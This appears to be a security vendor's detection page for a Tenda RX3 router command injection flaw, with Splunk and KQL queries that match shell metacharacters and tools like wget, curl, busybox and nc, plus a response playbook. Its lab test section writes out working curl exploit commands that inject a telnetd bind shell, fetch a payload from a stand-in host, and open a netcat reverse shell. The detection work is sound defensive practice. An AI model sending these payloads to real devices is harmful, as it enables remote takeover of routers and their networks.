Detect Tenda RX3 formSetSafeWanWebMan Command Injection (CVE-2026-136549) in Splunk
Detects exploitation of CVE-2026-136549, a CVSS 9.3 command injection (CWE-77/CWE-74) in the formSetSafeWanWebMan function of the Tenda RX3 router (firmware 16.03.13.11_multi) reachable via POST requests to /goform/SetRemoteWebCfg. The remoteIp parameter of the remote web management config is passed unsanitized into a shell command, which allows arbitrary command execution on the device. The attack can be carried out remotely. This detection looks for HTTP requests to the vulnerable endpoint carrying shell metacharacters or command-injection payloads, and for post-exploitation telemetry such as anomalous child processes spawned by the router web daemon. A public exploit is available.
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
``` df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=network (uri_path="/goform/SetRemoteWebCfg" OR url="*SetRemoteWebCfg*")
| where method="POST"
| eval payload=coalesce(form_data, http_content_body, uri_query, url)
| regex payload="(?i)(;|\||`|\$\(|&&|\|\||%3B|%7C|%60|wget|curl|telnetd|/bin/sh|busybox|nc\s)"
| table _time src_ip dest_ip method uri_path payload
| sort - _time Searches proxy/network HTTP telemetry for POST requests to the Tenda RX3 SetRemoteWebCfg endpoint containing command-injection indicators.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Administrator legitimately setting the remote management IP range
- Vulnerability scanners probing the endpoint
- Authorized penetration testing traffic
Other platforms for CVE-2026-136549
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated command injection POST to SetRemoteWebCfg (remoteIp)
Expected signal: Proxy/firewall/WAF log entry showing a POST to /goform/SetRemoteWebCfg with a body containing ';' and 'telnetd'.
- Test 2 Command injection with payload retrieval
Expected signal: HTTP POST to the endpoint containing 'wget' and a URL; optionally an outbound connection from the router to 203.0.113.10.
- Test 3 URL-encoded metacharacter injection
Expected signal: POST to /goform/SetRemoteWebCfg with URL-encoded '%3B' (;) and 'busybox'/'nc' in the body.
Response Playbook
Triage
- Confirm the source IP of the POST to /goform/SetRemoteWebCfg is not an authorized management host; external/WAN-side sources are high risk given this is a remote web management endpoint.
- Extract and decode the request body (especially the remoteIp parameter) and identify the exact injected command sequence.
- Verify the targeted device is a Tenda RX3 running the affected firmware 16.03.13.11_multi or an equivalent vulnerable build.
- Check whether the device's remote web management (WAN access) is enabled, which increases exposure.
Containment
- Block the attacker source IP at the perimeter firewall and disable WAN-side access to the router's web management interface.
- Isolate the affected router from the network and reboot it to clear any in-memory implant, then reset to factory defaults if compromise is confirmed.
- Apply vendor firmware updates once available; until then restrict management to a trusted VLAN/management subnet.
Evidence Collection
- Capture the full HTTP request(s) to /goform/SetRemoteWebCfg including headers and body for IR records.
- Collect router logs, configuration backup, and any available process/connection telemetry before rebooting or resetting.
- Preserve network packet captures and proxy/firewall logs covering the attack window.
Escalation Criteria
- !Escalate to incident response if the injected command includes payload retrieval (wget/curl/tftp) or a reverse shell, indicating active compromise.
- !Escalate if evidence shows the router initiated outbound connections to attacker infrastructure or new services (telnetd) were started post-request.
Investigation Guide
Forensic Artifacts
- >
HTTP request logs to /goform/SetRemoteWebCfg on the proxy/firewall/WAF - >
Router configuration showing modified remote web management settings (remoteIp) - >
Outbound connections from the router to unexpected hosts and any newly spawned processes such as telnetd or busybox shells
Tuning Guidance
Allowlist known management source IPs that legitimately reconfigure remote web management. If the router sits behind a WAF or proxy that normalizes bodies, adjust field extraction accordingly. Reduce false positives by requiring the POST method and the specific endpoint path, and by excluding scheduled scanner source ranges. Raise confidence to high when the same source IP triggers both the HTTP indicator and subsequent anomalous outbound connections from the device.
Hunting Queries
Hunts for command-injection indicators across all Tenda /goform/ endpoints, not only SetRemoteWebCfg, to catch related exploitation attempts.
// df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/goform/" | where AdditionalExtensions has_any (";", "|", "$(", "wget", "curl", "busybox") | summarize count() by SourceIP, RequestURL ``` df00tech DF00-1156fe42ce · https://df00tech.com/detections/CVE-2026-136549 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="/goform/*" | regex _raw="(?i)(;|\||\$\(|wget|curl|busybox)" | stats count by src_ip, uri_path Atomic Red Team Tests
Sends a crafted POST request to the vulnerable endpoint with a shell metacharacter payload in the remoteIp parameter to generate detection telemetry in a lab.
Command
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=1.1.1.1;telnetd -l /bin/sh -p 1337&' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No local artifacts to clean on the test host; reboot/reset the lab router if it accepted the payload.' Expected Telemetry
Proxy/firewall/WAF log entry showing a POST to /goform/SetRemoteWebCfg with a body containing ';' and 'telnetd'.
Expected Detection
The KQL/SPL and equivalent queries match on the command-injection pattern in the request payload.
Simulates an attacker attempting to download a second-stage payload via the injection point.
Command
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=2.2.2.2;wget http://203.0.113.10/x -O /tmp/x' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
rm -f /tmp/x 2>/dev/null; echo done Expected Telemetry
HTTP POST to the endpoint containing 'wget' and a URL; optionally an outbound connection from the router to 203.0.113.10.
Expected Detection
Queries match on the 'wget' keyword and shell metacharacter within the SetRemoteWebCfg request.
Sends URL-encoded shell metacharacters to verify detection handles encoded payloads.
Command
curl -s -X POST 'http://192.168.0.1/goform/SetRemoteWebCfg' --data 'remoteIp=3.3.3.3%3Bbusybox%20nc%20203.0.113.10%204444%20-e%20%2Fbin%2Fsh' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No host artifacts; reset lab router if required.' Expected Telemetry
POST to /goform/SetRemoteWebCfg with URL-encoded '%3B' (;) and 'busybox'/'nc' in the body.
Expected Detection
Queries match on encoded metacharacter patterns (%3B) and/or decoded busybox/nc keywords.